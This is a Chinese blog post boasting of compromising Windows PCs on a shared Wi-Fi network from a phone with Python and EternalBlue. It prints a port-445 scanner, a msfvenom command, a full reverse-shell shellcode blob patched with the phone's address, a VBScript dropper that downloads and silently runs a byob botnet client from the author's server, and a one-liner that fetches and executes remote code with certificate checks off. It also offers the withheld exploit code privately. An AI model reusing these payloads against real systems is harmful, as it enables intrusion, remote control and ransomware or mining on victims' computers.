美文网首页有趣的python
【手机玩python】看我如何用手机攻陷你的电脑!你真的会玩你的

【手机玩python】看我如何用手机攻陷你的电脑!你真的会玩你的

作者: 陈德君 | 来源:发表于2019-03-28 23:08 被阅读352次

    [TOC]

    你真的会玩你的智能手机吗?

    每天拿着手机只会刷个微博、刷个朋友圈、P张图?智能手机是否有更大的用途呢?
    今天就来看一下我是如何用手机攻陷你电脑的!

    一句话说清是怎么做的

    先来说说是怎么做到的吧!四个字:永恒之蓝
    还是不够明白,请继续往下看!

    原理讲解

    介绍下具体是怎么个攻击法吧!不感兴趣的可以直接跳到效果展示

    第一步:对内网进行端口扫描,记录所有开放了445端口的主机;
    第二步:获取手机IP,生成shellcode,使得攻击成功之后,我的手机能控制电脑;
    第三步:对所有开放了445端口的主机执行永恒之蓝攻击;
    第四步:攻击成功之后,通过手机控制电脑,下载并执行服务器上的“善”意代码;

    本次攻击用的程序是用python实现的。
    不过话虽简单,但是要在手机上把整个脚本代码跑起来,可不是那么简单的,手机上的python环境,是不能安装任何依赖库的(至少我没找到哪个python运行软件可以轻易安装依赖库)。
    只要能克服这个难题,再把永恒之蓝整合进来,就一切好办了!后面会介绍怎么解决这个问题。

    效果展示

    先来看看攻击是什么样的效果吧!

    • 这是手机上扫描和攻击的过程(先打个码吧,免得影响和谐),你没看错,整个攻击只有这一行代码!上面是代码,下面是脚本执行的时候输出的信息;


      image
    • 攻击成功之后,被攻击的Windows的C:\Windows\System32上会留下一个cleanup.vbs的脚本,该脚本会从我公网服务器上下载并执行一个木马文件(是我自己"精心"制作的byob受控端脚本):
      image
    • 我在我的阿里云主机上部署了byob(僵尸网络)主控端,这是攻击成功之后主控端收到的肉鸡。


      【手机玩python】看我如何用手机攻陷你的电脑!你真的会玩你的智能手机吗?

    操作

    准备条件

    要完成这个过程,需要准备些什么呢?

    • 智能手机一台(现在谁还缺这个?!);
    • python3执行环境,注意不是编辑器,是执行器;
    • 攻击代码(攻击代码实在不宜展示在这里,有兴趣的请加我微信e4ting,我发给你);

    PS. iphone上推荐装这个python3环境(因为不要钱啊):


    image

    厚脸皮的把我的微信二维码也贴出来了,头像是我女票给我做的(大家有问题欢迎和我交流):


    image

    实际操作

    1. 请装好python3执行环境;
    2. 手机连上wifi,不可以是移动网络,否则没法进行扫描(如果你真的闲的蛋疼想攻击全网的话,也可以,那你用移动网络好了);
    3. 复制攻击脚本,因为里面有永恒之蓝的攻击过程,攻击脚本还是请加我微信(e4ting)拿吧。万一大家不小心拿到自己公司网络下执行,导致同事/老板蓝屏就不好了!

    脚本载体

    整个过程只需要下面这段代码,这段代码其实只是一个空壳子,我把它叫做脚本载体,它唯一的逻辑就是从https://www.xxx.com/上下载xxxx.py文件到本地,并执行。

    很显然下面这段代码是不能执行的,因为没有正确的域名和路径!

    import zlib,base64,marshal,urllib.request,json,ssl;ssl._create_default_https_context = ssl._create_unverified_context;exec(eval("urllib.request.urlopen('https://www.xxx.com/xxxx.py').read()"))
    

    其实真正的逻辑在https://www.xxx.com/xxxx.py里面。大家拿到脚本之后,可以研究具体细节辑,我这里简单介绍下,我的实现思路。

    step.1 网络扫描

    直接建tcp套接字connect445端口,三次握手成功了,就关闭连接。

    def port_scanner(host, port):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((host, port))
            log('\t[+] 扫描到 : {}:{}'.format(host, port))
            globals()["targets"].append(host)
            s.close()
        except KeyboardInterrupt:
            return False
        except:
            pass
    

    当然,这一步有个前提,就是要先获取本机IP以及,wifi所处的网络范围。

    • 获取本机IP是老套路,代码网上复制的:
    def get_local_ip(host="8.8.8.8"):
        '''
            获取本机的IP
        '''
        log(get_local_ip.__doc__.strip())
        return [(s.connect((host, 445)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
    
    • 获取网络范围,这个没辙了,直接写死24位掩码:
    def get_network(host="192.168.0.1", netmask=24):
        '''
            获取待扫描的网络范围,(暂时定死支持24位掩码)
        '''
        log(get_network.__doc__.strip())
        networks = "{addr}/{netmask}".format(addr=host, netmask=netmask)
        return IPy.IP(networks, make_net=True)
    
    • 多线程扫描,手机上貌似不支持fork,老老实实用多线程吧!
        num = 8
        ts = [batch_port_scaner(globals()["networks"][_::num], 445) for _ in range(0, num)]
    

    以下是batch_port_scaner的实现,用修饰器封装了一下。

    @threadd
    def batch_port_scaner(hosts, port, **kwargs):
        [port_scanner(str(_), 445) for _ in hosts]
    

    step.2 生成shellcode

    实际shellcode是通过metasploit生成的:

    msfvenom -p windows/x64/shell_reverse_tcp   LHOST=x.x.x.x LPORT=xxx -f raw > shellcode
    

    可是我们没有条件在手机上运行metasploit(想想都觉得没必要吧),但是我们可以把shellcode内置在脚本里,然后获取本机IP替换掉就好了,用下面这个函数来实现。

    def get_shellcode(hostip, lhost, lport):
        log("正在生成 shell code...")
        lhost = lhost if lhost else globals()["localhost"]
        shell_code_127_0_0_1_8080 = b'FC4883E4F0E8C0000000415141505251564831D265488B5260488B5218488B5220488B7250480FB74A4A4D31C94831C0AC3C617C022C2041C1C90D4101C1E2ED524151488B52208B423C4801D08B80880000004885C074674801D0508B4818448B40204901D0E35648FFC9418B34884801D64D31C94831C0AC41C1C90D4101C138E075F14C034C24084539D175D858448B40244901D066418B0C48448B401C4901D0418B04884801D0415841585E595A41584159415A4883EC204152FFE05841595A488B12E957FFFFFF5D49BE7773325F3332000041564989E64881ECA00100004989E549BC0200{port}{host}41544989E44C89F141BA4C772607FFD54C89EA68010100005941BA29806B00FFD550504D31C94D31C048FFC04889C248FFC04889C141BAEA0FDFE0FFD54889C76A1041584C89E24889F941BA99A57461FFD54881C44002000049B8636D640000000000415041504889E25757574D31C06A0D594150E2FC66C74424540101488D442418C600684889E6565041504150415049FFC0415049FFC84D89C14C89C141BA79CC3F86FFD54831D248FFCA8B0E41BA08871D60FFD5BBF0B5A25641BAA695BD9DFFD54883C4283C067C0A80FBE07505BB4713726F6A00594189DAFFD5'
        ip = socket.gethostbyname(lhost)
        _host = socket.ntohl(socket.ntohl(struct.unpack("I",socket.inet_aton(str(ip)))[0])).to_bytes(4,'little')
        shell_code_127_0_0_1_8080 = shell_code_127_0_0_1_8080.replace(b'{host}', binascii.hexlify(_host))
    
        _port = socket.ntohs(lport).to_bytes(2,'little')
        shell_code_127_0_0_1_8080 = shell_code_127_0_0_1_8080.replace(b'{port}', binascii.hexlify(_port))
    
        log("shell code 将反弹到 {}:{} ".format(lhost, lport))
        return binascii.unhexlify(shell_code_127_0_0_1_8080)
    

    其实这里可以看出用shell_reverse_tcp(TCP反弹cmd)不是什么明智之举,应该直接让shellcode下载一个EXE文件并执行,这样效率更高,且更可靠。
    但以我这个门外汉技术水平,实在无法驾驭metasploit 和其强大的 shellcode。只能用这种退而求其次的做法。
    如果要替换shellcode,这里要注意字节大小端(little-endian/big-endian)的问题,Windows用的是little-endian

    step.3 执行永恒之蓝攻击

    接下来就进入最重要的环节了,开始永恒之蓝攻击

        log("扫描完成,开始对以下主机实施永恒之蓝\n\t{}".format(globals()["targets"]))
        win_init()
        [ win_run(host=_) for  _ in globals()["targets"] ]
    

    永恒之蓝的详细过程就不把代码贴上来了,实在太长了,而且太过复杂,大家加了我微信拿到代码之后,自己去看代码吧。也是因为这部分代码攻击性太强,前面才打那么多码的。

    PS. 就我个人而言,我是觉得这部分攻击代码晦涩难懂,只能看明白其中涉及的python逻辑。对于这种代码,我只有一个评价:能用起来就行了,如果不是专业的攻防人员,没必要深究。同时让我们一起说一句:感谢NSA!

    step.4 通过手机给电脑种上后门

    这一步其实是取决于第二步的攻击时候用的shellcode。因为我们用的是shell_reverse_tcp,所以攻击成功之后,手机会收到电脑反弹过来的cmd命令行,此时手机已经控制了电脑。但仅能做命令行操作。
    这时我们通过反弹cmd,往电脑写入一个vbscript脚本,并执行这个脚本,这个脚本执行之后,会取得SYSTEM权限,这已经是Windows的最高权限了,这个权限和Administrator已经不是一个级别了(这么描述没问题吧)。
    下面是控制电脑的过程:

    exploits = """@echo off
    (echo Download Wscript.Arguments^(0^),Wscript.Arguments^(1^)
    echo Sub Download^(Url,target^)
    echo Const adTypeBinary = 1
    echo Const adSaveCreateOverWrite = 2
    echo Dim http,ado
    echo Set http = CreateObject^("Msxml2.ServerXMLHTTP"^)
    echo http.open "GET",Url,False
    echo http.send
    echo Set ado = createobject^("Adodb.Stream"^)
    echo ado.Type = adTypeBinary
    echo ado.Open
    echo ado.Write http.responseBody
    echo ado.SaveToFile target
    echo ado.Close
    echo Set ws = CreateObject^("wscript.shell"^)
    echo ws.Run target,0,True
    echo End Sub)>cleanup.vbs
    cleanup.vbs "{}" "{}"
    """
    
    @threadd
    def push_script(connection, address, **kwargs):
        global exploits
        exploits = exploits.format("https://www.e4ting.top/files/test.exe",
                                    "c:\\test.exe")
        data = connection.recv(1024)
        log("已收到靶机 {} 反弹的cmd,开始部署脚本...".format(str(address)))
        # log((address, data))
        for cmd_line in exploits.split("\n"):
            log(cmd_line, level="debug")
            connection.send(cmd_line.encode("utf-8"))
            connection.send("\n".encode("utf-8"))
            log (connection.recv(4096), level="debug")
        log("部署完成,靶机已受控,可以开始进行控制了")
    

    threadd是我自定义的一个修饰器,用来把push_script扔到线程中去跑。

    控制电脑

    push_script的逻辑可以看出,脚本最终是把https://www.e4ting.top/files/test.exe文件下载并执行了。这一步纯粹只是为了更好的控制电脑,其实之前手机已经控制过电脑一次了。https://www.e4ting.top/files/test.exe也是一个python脚本,是基于byob开发的。因为byob提供了tcp反弹cmd截屏摄像头监控文件加密勒索挖矿等实用的功能,所以整体来说,控制电脑还是比纯cmd命令行要强。且支持扩展插件开发。

    远程加载python依赖库

    前面已经说过,在手机上是没法安装依赖库的。没有依赖库,python势必将失去应有的色彩。既然不能安装,只有凭借代码解决!
    本脚本中用到了两种远程导入依赖库的方式。

    第一种方式是:直接下载执行,并修改globals()以达到导入的目的。
    如下为从https://www.e4ting.top/files目录下引入util.py文件。

    def imports(mod="util"):
        ssl._create_default_https_context = ssl._create_unverified_context
        exec(eval("urllib.request.urlopen('https://www.e4ting.top/files/{}.py').read()".format(mod)), globals())
    
    imports("util")
    

    这种方式实现起来非常简单,它唯一的优点就是简单,不过缺点也非常明显:

    • 每一个文件都要求服务器的路径和客户端使用的路径保持严格一致,一旦服务器目录发生变动,那就得改代码;
    • 被导入的文件必须是完全独立的,不能再依赖其他第三方库;

    第二种方式:增加一个sys.meta_path类,并自定义find_moduleload_module,当脚本企图import一个本地环境不存在的库时,直接到远程服务器上搜索,并下载下来执行,修改globals()以达到导入的目的。
    如下,为将Loader实例插入到sys.meta_path头部。

    def add_remote_repo(modules, base_url='http://localhost:8000/'):
        importer = Loader(modules, base_url)
        sys.meta_path.insert(0, importer)
        return importer
    

    Loader的实现实在太长了,不贴了,全贴上来,估计诸位得看哭,请自行去这里下载观看吧:https://www.e4ting.top/files/util.py
    这个方式复杂了点,但却解决了两个最重要的问题:

    • 支持路径搜索,可以检索服务器上有哪些库,服务器不再关心客户端的编码;
    • 自动加载依赖的库,远程库可以再依赖其他库;

    注意:python的globals()可是个大坑,不能和C语言相提并论,所以别指望不同的文件能共享globals()
    简单的来说,就是这种代码最好放到一个文件里。

    免责申明

    本文只讨论技术,虽然我很愿意共享代码,但我仅建议大家学习用,不要用作违法途径,凡是用本人的代码造成任何损失、或者法律纠纷的,我一概不负责。

    相关文章

      网友评论

        本文标题:【手机玩python】看我如何用手机攻陷你的电脑!你真的会玩你的

        本文链接:https://www.haomeiwen.com/subject/jnucbqtx.html